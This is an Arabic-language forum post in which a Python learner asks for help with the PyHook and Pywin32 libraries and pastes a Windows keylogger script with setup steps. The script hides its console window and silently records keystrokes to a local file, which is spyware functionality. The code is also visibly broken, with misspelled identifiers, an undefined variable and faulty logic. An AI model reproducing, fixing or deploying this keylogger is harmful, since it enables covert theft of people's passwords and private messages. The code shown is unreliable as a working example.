السلام عليكم
في أول موضع لي أردت الاستفسار عن مكتبة PyHook & Pywin32
لاني معرفتي بالبايثون سطحية رغم اني متمكن من جميع الأساسيات
انا أستعمل بايثون 3 و هي التي تعلمتها من موقع فرنسي site du zero
و PyHook & Pywin32 على ما أعتقد تدعم فقط نسخ x.2 لاني لم أستطع استعمالها في سكريبت Keylogger
و هذا هو كود Keyloger رغم اني لم أفهم بعض الأسطر اردت تشريحه لأفهمه جيدا لكني بدون المكتبة لا أستطيع ممكن افادتي :
1# download python http://www.python.org/getit/ Python 2.7.3 Windows Installer (Windows binary -- does not include source)
2# Get pyhook http://pyhook.sourceforge.net/projects/pyhook/files/
3#.download win32 for u python version http://starship.python.net/crew/mhammond/win32/Downloads.html
4#.open notepad and write the python code
python code:
import win32api
import win32console
import win32gui
import pythoncom, pyhook
win = win32console.GetConsole()
win32gui.ShowWindow(win,0)
def onkeyboeardEvent (event) :
if event.Ascii==6:
_exit(1)
if event.Ascii != 0 or 8:
f=open('c:\output.txt','r')
f.close
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer +=keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.keydown = OnKeyboeardEvent
hm.HookKeyboard()
pythoncom.pumpMessages()
5#.save it as something.py and open it.
6#.Then u go to the output.txt and see what u have write.